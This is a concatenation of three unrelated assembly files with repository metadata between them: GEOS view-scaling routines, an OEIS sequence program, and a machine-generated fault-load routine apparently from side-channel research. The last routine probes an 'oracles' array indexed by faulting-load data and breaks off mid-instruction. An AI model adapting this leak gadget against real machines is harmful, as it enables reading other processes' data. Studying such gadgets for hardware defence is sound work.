oldOffset = WinTransform (point) WinSetNullTransform WinApplyScale (newScaleFactor) newOffset = WinUntransformDWord (oldOffset) WinApplyTranslation (origin) OLPaneScroll (point - newOffset - origin) KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: assumed to be marked dirty by the generic UI. REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 2/89 Initial version Chris 2/90 Re-writ to work ------------------------------------------------------------------------------@ OLPaneScale method OLPaneClass, MSG_GEN_VIEW_SET_SCALE_FACTOR ; call FullyInvalidateView call ScaleNoInvalidate ret OLPaneScale endm ViewScale ends ;------- ViewCommon segment resource FullyInvalidateView proc far uses bp .enter ; Invalidate our geometry, so that RerecalcSizes will get to us, and ; the pane's parent's geometry, so the pane will have a chance to ; expand. push si mov si, offset VisClass mov bx, segment VisClass mov dl, VUM_NOW ;for the parent mov cl, mask VOF_GEOMETRY_INVALID mov ax, MSG_VIS_MARK_INVALID mov di, mask MF_RECORD call ObjMessage mov cx, di pop si mov bx, ds:[LMBH_handle] mov ax, MSG_VIS_SEND_TO_PARENT ;avoid nested updates mov di, mask MF_FORCE_QUEUE or mask MF_INSERT_AT_FRONT call ObjMessage ; (SetDocSize gets called ; during nested updates) ; ; View must be done after the parent, as the second MF_INSERT_AT_FRONT ; message sent will be stuck in the queue in front of the first. ; (10/28/92 cbh) ; mov ax, MSG_VIS_MARK_INVALID mov cl, mask VOF_GEOMETRY_INVALID mov dl, VUM_MANUAL mov di, mask MF_FORCE_QUEUE or mask MF_INSERT_AT_FRONT call ObjMessage .leave ret FullyInvalidateView endp ViewCommon ends ;-------- ViewScale segment resource COMMENT @---------------------------------------------------------------------- FUNCTION: ScaleNoInvalidate DESCRIPTION: Scale the pane without invalidating the geometry CALLED BY: INTERNAL PASS: *ds:si - instance data ss:[bp] - ScaleViewParams RETURN: nothing DESTROYED: ax, bx, cx, dx, bp, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 3/ 3/92 Initial version ------------------------------------------------------------------------------@ ScaleNoInvalidate proc near class OLPaneClass EC < cmp ss:[bp].SVP_type, SVT_AROUND_POINT > EC < ERROR_A OL_VIEW_BAD_SCALE_TYPE > call ConvertScaleBasedOnMode mov ax, MSG_GEN_VIEW_SCALE_LOW mov dx, size ScaleViewParams call ObjCallInstanceNoLock ret ScaleNoInvalidate endp COMMENT @---------------------------------------------------------------------- MESSAGE: OLPaneScaleLow -- MSG_GEN_VIEW_SCALE_LOW for OLPaneClass DESCRIPTION: Low level scale routine (sent to links) PASS: *ds:si - instance data es - segment of OLPaneClass ax - The message dx - size ScaleViewParams ss:bp - ScaleViewParams RETURN: DESTROYED: bx, si, di, ds, es (message handler) REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 3/18/92 Initial version ------------------------------------------------------------------------------@ OLPaneScaleLow method dynamic OLPaneClass, MSG_GEN_VIEW_SCALE_LOW mov di, mask MF_STACK ;stack frame call GenViewSendToLinksIfNeeded ;use linkage if there LONG jc exit ;we did, we're done now ; call FullyInvalidateView ;Moved down... call GetScaleAmount ;scale amounts in dx.cx, bx.ax mov di, ds:[si] ;check instance data add di, ds:[di].Gen_offset cmpdw dxcx, ds:[di].GVI_scaleFactor.PF_x jnz setScale cmpdw bxax, ds:[di].GVI_scaleFactor.PF_y jnz setScale ret setScale: ; ; Invalidate should only happen if the scale factor has actually ; changed. ; call FullyInvalidateView call GetScaleAmount ;scale amounts in dx.cx, bx.ax mov di, ds:[si] ;store instance data add di, ds:[di].Gen_offset movdw ds:[di].GVI_scaleFactor.PF_x, dxcx movdw ds:[di].GVI_scaleFactor.PF_y, bxax ; Notify content of our scale change. call GetScaleAmount ;scale amounts in dx.cx, bx.ax call SendNewScaleToOD ; Fix scale point to be upper left or center of screen, if necessary. mov dx, SSP_VERTICAL ;first do vertical call SetupScalePoint ;sets up point to scale around clr dx ;now do horizontal call SetupScalePoint ;result in ax call ScalePaneGetWindow ;get window in di LONG jz exit ;no window, exit push si mov si, ds:[si] ;mark pane as needing inval add si, ds:[si].Vis_offset test ds:[si].OLPI_flags, mask OLPF_SUSPENDED_FOR_SCALING jnz 5$ ;window already suspended ; somehow, branch ; if the geometry is not invalid then don't suspend ; (The FullyInvalidateView above guarantees the geometry invalidation. ; and the invalidate is queued, so we should nuke this test. Otherwise ; the suspend never happens. -cbh 3/27/93) ; test ds:[si].VI_optFlags, mask VOF_GEOMETRY_INVALID ; jz 5$ or ds:[si].OLPI_flags, mask OLPF_SUSPENDED_FOR_SCALING call WinSuspendUpdate ;added 10/23/91 cbh to suspend ; all drawing at least until ; geometry is completed. See ; notify-geo-valid handler. 5$: pop si ; oldOffset = WinTransform (point) mov cx, ss:[bp].SVP_point.PD_x.low mov dx, ss:[bp].SVP_point.PD_x.high mov ax, ss:[bp].SVP_point.PD_y.low mov bx, ss:[bp].SVP_point.PD_y.high call WinTransformDWord ;get translated point push ax, bx, cx, dx ;save the result ; WinSetNullTransform ; mov cx, WIF_DONT_INVALIDATE ;avoid invalidating clr cx ;10/23/91 cbh (win is suspended) call WinSetNullTransform ;clear the current scaling ; WinApplyScale call GetScaleAmount ;get passed scale factor push si ; mov si, WIF_DONT_INVALIDATE ;put off invalidation clr si ;10/23/91 cbh (win is suspended) call WinApplyScale ;scale the sucker pop si push bp, di ; mov ax, MSG_SPEC_SCROLLBAR_SUPPRESS_DRAW ;play with fire ; call OLPaneCallScrollbars ; 4/14/93 cbh ; This next call USED to happen after WinApplyTranslation, but ; apparently that was causing a problem in draw where the KeepInBounds ; routine was using the incorrect (old) page size, and working ; improperly. This started happening when draw started scaling around ; a point in the document when increasing the scalefactor. -cbh 10/16/90 call OLPaneSetNewPageSize ;set new page size ; Moved here from OLPaneSetNewPageSize, since it didn't always need to ; be called there. 5/ 6/91 cbh (Moved back again 5/18/91 cbh, it needs ; to get called there pretty much all the time, after all.) (Added ; back here again 10/23/91 cbh. Much counseling will be required for ; this piece of code, later in life...) jnc 10$ ;no size change, branch mov ax, MSG_META_CONTENT_VIEW_SIZE_CHANGED call SendPaneSizeMethod ;tell OD about it! 10$: pop bp, di pop ax, bx, cx, dx ;get translated oldOffset back call WinUntransformDWord ;newOffset <- untrans oldOffset push ax, bx, cx, dx ;save newOffset push di ;restore to original position call GetXOrigin ;bx.ax call GetYOrigin ;dx.cx pop di negdw dxcx ;make into a translation xchg ax, cx xchg bx, dx negdw dxcx push si ; mov si, WIF_DONT_INVALIDATE ;invalidate later clr si ;10/23/91 cbh (win is suspended) call WinApplyTranslationDWord ;now apply newOffset + docOffset pop si pop ax, bx, cx, dx ;get newOffset sub cx, ss:[bp].SVP_point.PD_x.low ;subtract point centered around sbb dx, ss:[bp].SVP_point.PD_x.high sub ax, ss:[bp].SVP_point.PD_y.low sbb bx, ss:[bp].SVP_point.PD_y.high negdw dxcx ;make negative, get registers xchg ax, cx ; right xchg bx, dx negdw dxcx push di call MakeRelativeToOrigin ;now scroll amt from cur origin pop di ; Now try to scroll, to keep point positioned. It may turn out ; that we have to scroll to keep a full page onscreen. Also, some ; normalizing may need to be done. push si mov bp, SA_SCALE or mask OLPSF_ALWAYS_SEND_NORMALIZE call OLPaneScroll pop si exit: ret OLPaneScaleLow endm ;--- ScalePaneGetWindow proc near mov di, ds:[si] ;can be called directly add di, ds:[di].Vis_offset mov di, ds:[di].OLPI_window tst di ret ScalePaneGetWindow endp COMMENT @---------------------------------------------------------------------- ROUTINE: GetScaleAmount SYNOPSIS: Gets scale point passed. CALLED BY: OLPaneScale PASS: ss:bp -- ScaleViewParams RETURN: dx.cx -- x scale value bx.ax -- y scale value DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 4/ 1/91 Initial version ------------------------------------------------------------------------------@ GetScaleAmount proc near mov dx, ss:[bp].SVP_scaleFactor.PF_x.WWF_int mov cx, ss:[bp].SVP_scaleFactor.PF_x.WWF_frac mov bx, ss:[bp].SVP_scaleFactor.PF_y.WWF_int mov ax, ss:[bp].SVP_scaleFactor.PF_y.WWF_frac ret GetScaleAmount endp COMMENT @---------------------------------------------------------------------- ROUTINE: SetupScalePoint SYNOPSIS: Sets up point to scale around. Also may change the document offset to that the point is centered on the pre-scaled screen. CALLED BY: OLPaneScalePane PASS: *ds:si -- instance data ss:bp -- ScaleViewParams dx -- vertical flag - 0 if horizontal, SSP_VERTICAL if vert RETURN: ss:[bp].SVP_point -- updated for the location to scale around ax -- offset in doc coords to the point from the upper left hand corner of the subview. Needs to be converted to screen coords. DESTROYED: cx, dx, di, es PSEUDO CODE/STRATEGY: case SVP_type of SVT_AROUND_UPPER_LEFT: SVP_point = docOffset SVT_AROUND_CENTER: SVP_point = docOffset + DOC_WIN_SIZE/2 ; SVT_AROUND_POINT_CENTERED: ; docOffset = SVP_point - DOC_WIN_SIZE/2 end KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 3/27/90 Initial version Jim 7/30/91 Changed GVI_origin to fixed point. Even though the SSP_VERTICAL flag is used to index into GVI_origin, I decided to keep it as PD_y-PD_x, since other variables use it as such. That means that there has to be some special code to test for non-zero values of that flag and "do the right thing". sorry, chris. ------------------------------------------------------------------------------@ CheckHack <(offset PD_y - offset PD_x) eq (SSP_VERTICAL)> SetupScalePoint proc near push bp mov di, ds:[si] ;point to instance add di, ds:[di].Gen_offset ;ds:[di] -- GenInstance ; the next line is replaced by the succeeding four lines ; add di, dx ;correct for dementia tst dx ; if zero, do horizontal jz getOrigin add di, (offset PDF_y - offset PDF_x) ; need fixed point offsets getOrigin: mov ax, ds:[di].GVI_origin.PDF_x.DWF_int.low ;get curr org in bx:ax mov bx, ds:[di].GVI_origin.PDF_x.DWF_int.high mov cl, ss:[bp].SVP_type ;get type of scaling add bp, dx ;adjust for dimension cmp cl, SVT_AROUND_CENTER ;scaling around center? jne 10$ ;no, branch ; Scaling around the center. Point to scale = docOffset + offset to ; center of the window. call GetOffsetToCenter ;return offset to subview center add ax, cx ;add offset to center to left adc bx, 0 ; edge to get the point we want jmp short storePoint ; to center around 10$: cmp cl, SVT_AROUND_UPPER_LEFT ;scaling around upper left? jne 20$ ;no, branch ; Scaling around the left edge. Point to scale = docOffset. storePoint: mov ss:[bp].SVP_point.PD_x.low, ax ;store as the point to use mov ss:[bp].SVP_point.PD_x.high, bx 20$: if 0 ;can't really comment in. Won't work if point is far ;away. jmp short exit ;and we're done 20$: cmp cl, SVT_AROUND_POINT_CENTERED ;center point, scale around it? jne calcOffsetToPoint ;no, scaling around pt, branch ; Scaling around point, but leave the point at the center of the ; screen. The point we want is already set, but we'll change the ; document offset so that point is in the center of the screen. mov ax, ss:[bp].SVP_point.PD_x.low ;get point in bx:ax mov bx, ss:[bp].SVP_point.PD_x.high call GetOffsetToCenter ;get offset to subview center sub ax, cx ;subtract offset from point sbb bx, 0 mov di, ds:[si] ;point to instance add di, ds:[di].Gen_offset ;ds:[di] -- GenInstance ; the next line is replaced by the succeeding four lines ; add di, dx ;correct for dementia tst dx ; if zero, do horizontal jz setOrigin add di, (offset PDF_y - offset PDF_x) ; need fixed point offsets setOrigin: mov ds:[di].GVI_origin.PDF_x.DWF_int.low, ax ;store as new origin mov ds:[di].GVI_origin.PDF_x.DWF_int.high, bx mov di, dx ;put vertical flag in di now mov cx, ax ;put new doc offset in dx:cx mov dx, bx push ax, bp, bx mov ax, MSG_GEN_VALUE_SET_VALUE ;scroll scrollbars, w/out update mov bx, di ;vertical flag into bx push bx ;save vertical flag shr bx, 1 mov di, mask MF_CALL or mask MF_FIXUP_DS call CallScrollbar pop dx ;restore vertical flag to dx pop ax, bp, bx endif pop bp ret SetupScalePoint endp COMMENT @---------------------------------------------------------------------- ROUTINE: GetOffsetToCenter SYNOPSIS: Returns offset to center of subview. In document coords. CALLED BY: SetupScalePoint, in two places. PASS: *ds:si -- subview handle bp -- vertical flag: 0 if horiz, SSP_VERTICAL if vertical RETURN: cx -- offset to center of subview DESTROYED: di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 3/27/90 Initial version ------------------------------------------------------------------------------@ GetOffsetToCenter proc near push bp mov bp, dx shr bp, 1 ;word offset only mov di, ds:[si] ;point to instance add di, ds:[di].Vis_offset ;ds:[di] -- SpecInstance add di, bp ;correct for dimensions mov cx, ds:[di].OLPI_pageWidth ;get page width shr cx, 1 ;divide by 2 pop bp ret GetOffsetToCenter endp COMMENT @---------------------------------------------------------------------- FUNCTION: ConvertScaleBasedOnMode DESCRIPTION: Convert scale args CALLED BY: INTERNAL PASS: *ds:si - instance data ss:[bp] - ScaleViewParams RETURN: none DESTROYED: ax, bx, cx, dx REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 3/ 2/92 Initial version ------------------------------------------------------------------------------@ ConvertScaleBasedOnMode proc near class OLPaneClass mov di, ds:[si] add di, ds:[di].Gen_offset mov ax, ds:[di].GVI_attrs ; if the view is controlled then force the Y scale to be the same as ; the X scale test ax, mask GVA_CONTROLLED jz notControlled movdw ss:[bp].SVP_scaleFactor.PF_y, ss:[bp].SVP_scaleFactor.PF_x, cx notControlled: ; do "scale to fit" if appropriate push ax test ax, mask GVA_SCALE_TO_FIT jz afterScaleToFit mov ax, ATTR_GEN_VIEW_SCALE_TO_FIT_BOTH_DIMENSIONS call ObjVarFindData jnc notScaleBoth call calcXScaleToFit movdw ss:[bp].SVP_scaleFactor.PF_x, dxcx call calcYScaleToFit movdw ss:[bp].SVP_scaleFactor.PF_y, dxcx pop ax jmp done ;ignore scale to fit notScaleBoth: mov ax, ATTR_GEN_VIEW_SCALE_TO_FIT_BASED_ON_X call ObjVarFindData jc scaleXFirst call calcYScaleToFit pushdw dxcx call calcXScaleToFit popdw bxax ;BXAX - Y scale factor cmpwwf bxax, dxcx ja 10$ movdw dxcx, bxax 10$: movdw ss:[bp].SVP_scaleFactor.PF_y, dxcx movdw ss:[bp].SVP_scaleFactor.PF_x, dxcx pop ax test ax, mask GVA_ADJUST_FOR_ASPECT_RATIO jz done ; adjust aspect ratio backwards: X = Y scale / aspectRatio call ScalePaneGetScreenWindow ;di = window call ComputeAspectRatio ;dx.ax = aspect ratio mov bx, dx movdw dxcx, ss:[bp].SVP_scaleFactor.PF_y call GrUDivWWFixed ; dx.cx <- Y scale factor movdw ss:[bp].SVP_scaleFactor.PF_x, dxcx jmp done scaleXFirst: call calcXScaleToFit movdw ss:[bp].SVP_scaleFactor.PF_x, dxcx movdw ss:[bp].SVP_scaleFactor.PF_y, dxcx afterScaleToFit: pop ax test ax, mask GVA_ADJUST_FOR_ASPECT_RATIO jz done adjustAspectY: ; Compute the Y scale factor. Simply put it is: ; view scale factor * aspectRatio call ScalePaneGetScreenWindow ;di = window call ComputeAspectRatio ;dx.ax = aspect ratio mov bx, dx movdw dxcx, ss:[bp].SVP_scaleFactor.PF_x call GrMulWWFixed ; dx.cx <- Y scale factor movdw ss:[bp].SVP_scaleFactor.PF_y, dxcx done: ret ;--- calcXScaleToFit: mov di, ds:[si] add di, ds:[di].Vis_offset mov dx, ds:[di].OLPI_winWidth clr cx ;dx.cx = screen height mov di, ds:[si] add di, ds:[di].Gen_offset movdw bxax, ds:[di].GVI_docBounds.RD_right subdw bxax, ds:[di].GVI_docBounds.RD_left mov di, offset XYS_width call getPageSize call GrUDivWWFixed retn calcYScaleToFit: mov di, ds:[si] add di, ds:[di].Vis_offset mov dx, ds:[di].OLPI_winHeight clr cx ;dx.cx = screen height mov di, ds:[si] add di, ds:[di].Gen_offset movdw bxax, ds:[di].GVI_docBounds.RD_bottom subdw bxax, ds:[di].GVI_docBounds.RD_top mov di, offset XYS_height call getPageSize ;bx.ax = page size call GrUDivWWFixed retn getPageSize: push ax mov ax, ATTR_GEN_VIEW_PAGE_SIZE call ObjVarFindData pushf add di, bx popf pop bx jnc noPageSize ; ; Patch stupid problem in geoWrite, where page size is greater than ; the document size, which causes big-time problems. We'll ignore ; the page size in this case. I don't have time to find the problem ; in geoWrite. cbh 11/24/93 ; cmp bx, ds:[di] ;doc size < page size? jb noPageSize ;yes, ignore page size mov bx, ds:[di] noPageSize: clr ax retn ConvertScaleBasedOnMode endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ScalePaneGetScreenWindow %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: get window handle that we are sure exists (pane window may not exist yet if it is not opened) CALLED BY: INTERNAL ConvertScaleBasedOnMode PASS: *ds:si = OLPane RETURN: di = screen window DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 1/7/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ScalePaneGetScreenWindow proc near uses ax, cx, dx, bp .enter mov ax, MSG_SPEC_GUP_QUERY mov cx, GUQT_SCREEN call ObjCallInstanceNoLock EC < ERROR_NC OL_ERROR > mov di, bp ; di = window .leave ret ScalePaneGetScreenWindow endp ViewScale ends ;----------------- ViewCommon segment resource COMMENT @---------------------------------------------------------------------- MESSAGE: OLPaneSendNotification -- MSG_GEN_VIEW_SEND_NOTIFICATION for OLPaneClass DESCRIPTION: Send notification to controller if needed PASS: *ds:si - instance data es - segment of OLPaneClass ax - The message cx - non-zero if losing target RETURN: DESTROYED: bx, si, di, ds, es (message handler) REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 2/28/92 Initial version ------------------------------------------------------------------------------@ OLPaneSendNotification method dynamic OLPaneClass, MSG_GEN_VIEW_SEND_NOTIFICATION add bx, ds:[bx].Gen_offset test ds:[bx].GVI_attrs, mask GVA_CONTROLLED LONG jz exit mov_tr ax, di mov di, 600 call ThreadBorrowStackSpace push di mov_tr di, ax clr bp tst cx LONG jnz haveNotificationBlock mov ax, ATTR_GEN_VIEW_NOTIFY_EVEN_IF_NOT_TARGETED call ObjVarFindData jc notif test ds:[di].OLPI_attrs, mask OLPA_APP_TARGET LONG jz done ; generate the notification block notif: mov ax, size NotifyViewStateChange mov cx, ALLOC_DYNAMIC_NO_ERR_LOCK or (mask HAF_ZERO_INIT shl 8) \ or mask HF_SHARABLE call MemAlloc mov es, ax push bx ; get the content width and height mov ax, ds:[di].OLPI_winWidth mov es:NVSC_contentSize.XYS_width, ax mov ax, ds:[di].OLPI_winHeight mov es:NVSC_contentSize.XYS_height, ax mov di, ds:[di].OLPI_window tst di jz noWindow call WinGetWinScreenBounds sub cx, ax mov es:NVSC_contentScreenSize.XYS_width, cx sub dx, bx mov es:NVSC_contentScreenSize.XYS_height, dx noWindow: mov si, ds:[si] add si, ds:[si].Gen_offset push si add si, offset GVI_origin mov di, offset NVSC_origin mov cx, offset NVSC_endCopiedData rep movsb pop si push ds segmov ds, es movdw dxax, ds:NVSC_docBounds.RD_left movdw cxbx, ds:NVSC_origin.PDF_x.DWF_int subdw cxbx, dxax movdw ds:NVSC_originRelative.PD_x, cxbx movdw cxbx, ds:NVSC_docBounds.RD_right subdw cxbx, dxax movdw ds:NVSC_documentSize.PD_x, cxbx movdw dxax, ds:NVSC_docBounds.RD_top movdw cxbx, ds:NVSC_origin.PDF_y.DWF_int subdw cxbx, dxax movdw ds:NVSC_originRelative.PD_y, cxbx movdw cxbx, ds:NVSC_docBounds.RD_bottom subdw cxbx, dxax movdw ds:NVSC_documentSize.PD_y, cxbx pop ds pop bx call MemUnlock mov ax, 1 call MemInitRefCount mov bp, bx haveNotificationBlock: mov bx, bp mov ax, MSG_META_NOTIFY_WITH_DATA_BLOCK mov cx, MANUFACTURER_ID_GEOWORKS mov dx, GWNT_VIEW_STATE_CHANGE mov di, mask MF_RECORD call ObjMessage ; di is event mov ax, mask GCNLSF_SET_STATUS tst bp jnz afterTransitionCheck ornf ax, mask GCNLSF_IGNORE_IF_STATUS_TRANSITIONING afterTransitionCheck: sub sp, size GCNListMessageParams mov bp, sp mov ss:[bp].GCNLMP_ID.GCNLT_manuf, MANUFACTURER_ID_GEOWORKS mov ss:[bp].GCNLMP_ID.GCNLT_type, GAGCNLT_APP_TARGET_NOTIFY_VIEW_STATE_CHANGE mov ss:[bp].GCNLMP_block, bx mov ss:[bp].GCNLMP_event, di mov ss:[bp].GCNLMP_flags, ax mov ax, MSG_META_GCN_LIST_SEND mov dx, size GCNListMessageParams call UserCallApplication ; UserCallApplication spelled out here, in case we need to change approach ; call GeodeGetAppObject ; mov di, mask MF_FIXUP_DS or mask MF_STACK ; call ObjMessage add sp, size GCNListMessageParams done: pop di call ThreadReturnStackSpace exit: ret OLPaneSendNotification endm ViewCommon ends ;--------------- ViewScale segment resource COMMENT @---------------------------------------------------------------------- FUNCTION: ComputeAspectRatio DESCRIPTION: Compute the aspect ratio CALLED BY: INTERNAL PASS: di - window handle RETURN: dx.ax - aspect ratio zero flag - set if "1 to 1" DESTROYED: bx, cx REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 2/28/92 Initial version ------------------------------------------------------------------------------@ ComputeAspectRatio proc near uses si, di, bp, ds .enter ; Get the aspect ratio so we can use it when we need it. mov si, WIT_STRATEGY call WinGetInfo ; cx:dx = strategy routine push cx ; Pass segment and offset on push dx ; the stack mov bp, sp ; ss:bp points at routine mov di, DR_VID_INFO call {dword} ss:[bp] ; dx:si = info table add sp, 4 ; Restore the stack mov ds, dx ; ds:si = info table ; ; Aspect ratio = 1 / (horiz DPI / vert DPI) ; Compute aspect ratio. Check for the case of square pixel display. ; clr cx mov dx, ds:[si].VDI_vRes ; dx.cx = v res clr ax mov bx, ds:[si].VDI_hRes ; bx.ax = h res cmp bx, dx pushf ; Save "1 to 1" flag call GrUDivWWFixed ; dx.cx = v/h mov_tr ax, cx popf ; Restore "1 to 1" flag .leave ret ComputeAspectRatio endp COMMENT @---------------------------------------------------------------------- FUNCTION: UpdateScale DESCRIPTION: Update the scale factor for a mode change CALLED BY: INTERNAL PASS: *ds:si - view object RETURN: none DESTROYED: ax, bx, cx, dx, di, bp REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 3/ 2/92 Initial version ------------------------------------------------------------------------------@ UpdateScale proc far class OLPaneClass sub sp, size ScaleViewParams mov bp, sp mov di, ds:[si] add di, ds:[di].Gen_offset movdw ss:[bp].SVP_scaleFactor.PF_x, ds:[di].GVI_scaleFactor.PF_x, ax movdw ss:[bp].SVP_scaleFactor.PF_y, ds:[di].GVI_scaleFactor.PF_y, ax mov ss:[bp].SVP_type, SVT_AROUND_UPPER_LEFT call ScaleNoInvalidate add sp, size ScaleViewParams ret UpdateScale endp ViewScale ends
24.4
81
0.649874
313f559aeacc58a541d87919f15277d19e873513
1,183
asm
Assembly
programs/oeis/088/A088225.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/088/A088225.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/088/A088225.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A088225: Solutions to x^n == 7 mod 11. ; 2,6,7,8,13,17,18,19,24,28,29,30,35,39,40,41,46,50,51,52,57,61,62,63,68,72,73,74,79,83,84,85,90,94,95,96,101,105,106,107,112,116,117,118,123,127,128,129,134,138,139,140,145,149,150,151,156,160,161,162,167,171,172,173,178,182,183,184,189,193,194,195,200,204,205,206,211,215,216,217,222,226,227,228,233,237,238,239,244,248,249,250,255,259,260,261,266,270,271,272,277,281,282,283,288,292,293,294,299,303,304,305,310,314,315,316,321,325,326,327,332,336,337,338,343,347,348,349,354,358,359,360,365,369,370,371,376,380,381,382,387,391,392,393,398,402,403,404,409,413,414,415,420,424,425,426,431,435,436,437,442,446,447,448,453,457,458,459,464,468,469,470,475,479,480,481,486,490,491,492,497,501,502,503,508,512,513,514,519,523,524,525,530,534,535,536,541,545,546,547,552,556,557,558,563,567,568,569,574,578,579,580,585,589,590,591,596,600,601,602,607,611,612,613,618,622,623,624,629,633,634,635,640,644,645,646,651,655,656,657,662,666,667,668,673,677,678,679,684,688 mov $1,1 mov $3,$0 lpb $0,1 trn $0,3 mov $1,$0 trn $0,1 add $2,1 lpe add $1,$2 add $2,$1 add $2,1 add $1,$2 mul $2,2 add $1,$2 lpb $3,1 add $1,1 sub $3,1 lpe sub $1,5
51.434783
961
0.69907
fe92a4ce2411babcc3f0b8dca661c9c72321cadd
8,411
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2310.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2310.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2310.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r14 push %r15 push %rbp push %rcx push %rdi push %rsi lea addresses_WT_ht+0x296b, %r11 clflush (%r11) and $64393, %r10 movb $0x61, (%r11) nop nop dec %rdi lea addresses_D_ht+0x1d567, %rsi lea addresses_normal_ht+0x1ee23, %rdi nop nop nop sub %rbp, %rbp mov $88, %rcx rep movsq nop nop nop add $44345, %r11 lea addresses_WT_ht+0xb94b, %rbp nop nop nop nop lfence mov $0x6162636465666768, %r10 movq %r10, %xmm5 movups %xmm5, (%rbp) nop sub %r11, %r11 lea addresses_A_ht+0xfee7, %rsi lea addresses_normal_ht+0x1c977, %rdi clflush (%rsi) clflush (%rdi) inc %r14 mov $47, %rcx rep movsw nop add $32327, %rcx lea addresses_WT_ht+0x5977, %rsi lea addresses_UC_ht+0x19160, %rdi nop nop nop nop nop and %r15, %r15 mov $40, %rcx rep movsw nop inc %rsi lea addresses_D_ht+0x18877, %rsi lea addresses_UC_ht+0x1ed67, %rdi nop nop nop nop sub $35020, %r11 mov $127, %rcx rep movsw nop nop nop nop add $11433, %rbp lea addresses_UC_ht+0x177e7, %rsi lea addresses_A_ht+0x10d67, %rdi nop nop sub %r11, %r11 mov $61, %rcx rep movsw nop nop nop nop and %r14, %r14 lea addresses_WC_ht+0x329f, %rsi lea addresses_A_ht+0x3067, %rdi nop nop sub $1191, %r11 mov $118, %rcx rep movsw nop and %rsi, %rsi lea addresses_WC_ht+0xfc07, %rsi lea addresses_WC_ht+0x2667, %rdi and $45850, %r11 mov $19, %rcx rep movsb sub %rbp, %rbp lea addresses_A_ht+0x12717, %rsi lea addresses_WC_ht+0x5695, %rdi nop nop nop nop nop sub %rbp, %rbp mov $79, %rcx rep movsb nop nop nop nop nop add $37258, %rsi lea addresses_A_ht+0x1ba67, %rsi lea addresses_WT_ht+0x1b3e7, %rdi clflush (%rsi) nop cmp %rbp, %rbp mov $63, %rcx rep movsl nop nop nop nop nop add $38772, %r14 lea addresses_WC_ht+0x19807, %r15 nop add $4543, %r10 mov $0x6162636465666768, %r11 movq %r11, %xmm3 vmovups %ymm3, (%r15) nop nop nop nop inc %rbp lea addresses_normal_ht+0xe6a7, %rsi lea addresses_UC_ht+0x1767, %rdi nop inc %r11 mov $84, %rcx rep movsw nop add $41809, %rsi pop %rsi pop %rdi pop %rcx pop %rbp pop %r15 pop %r14 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r15 push %r9 push %rax push %rdi push %rdx push %rsi // Store lea addresses_A+0x15167, %rdi nop nop nop sub %r9, %r9 mov $0x5152535455565758, %rdx movq %rdx, %xmm3 vmovups %ymm3, (%rdi) nop nop cmp %rdi, %rdi // Store lea addresses_normal+0x18d67, %rax nop and $43277, %rsi mov $0x5152535455565758, %rdx movq %rdx, %xmm6 vmovups %ymm6, (%rax) nop nop nop nop and %rdx, %rdx // Store lea addresses_D+0x14327, %r15 nop nop nop nop inc %rdi mov $0x5152535455565758, %rdx movq %rdx, (%r15) nop nop nop and $32811, %rdx // Faulty Load lea addresses_UC+0x18167, %rdx nop sub $62391, %r10 mov (%rdx), %r15 lea oracles, %rsi and $0xff, %r15 shlq $12, %r15 mov (%rsi,%r15,1), %r15 pop %rsi pop %rdx pop %rdi pop %rax pop 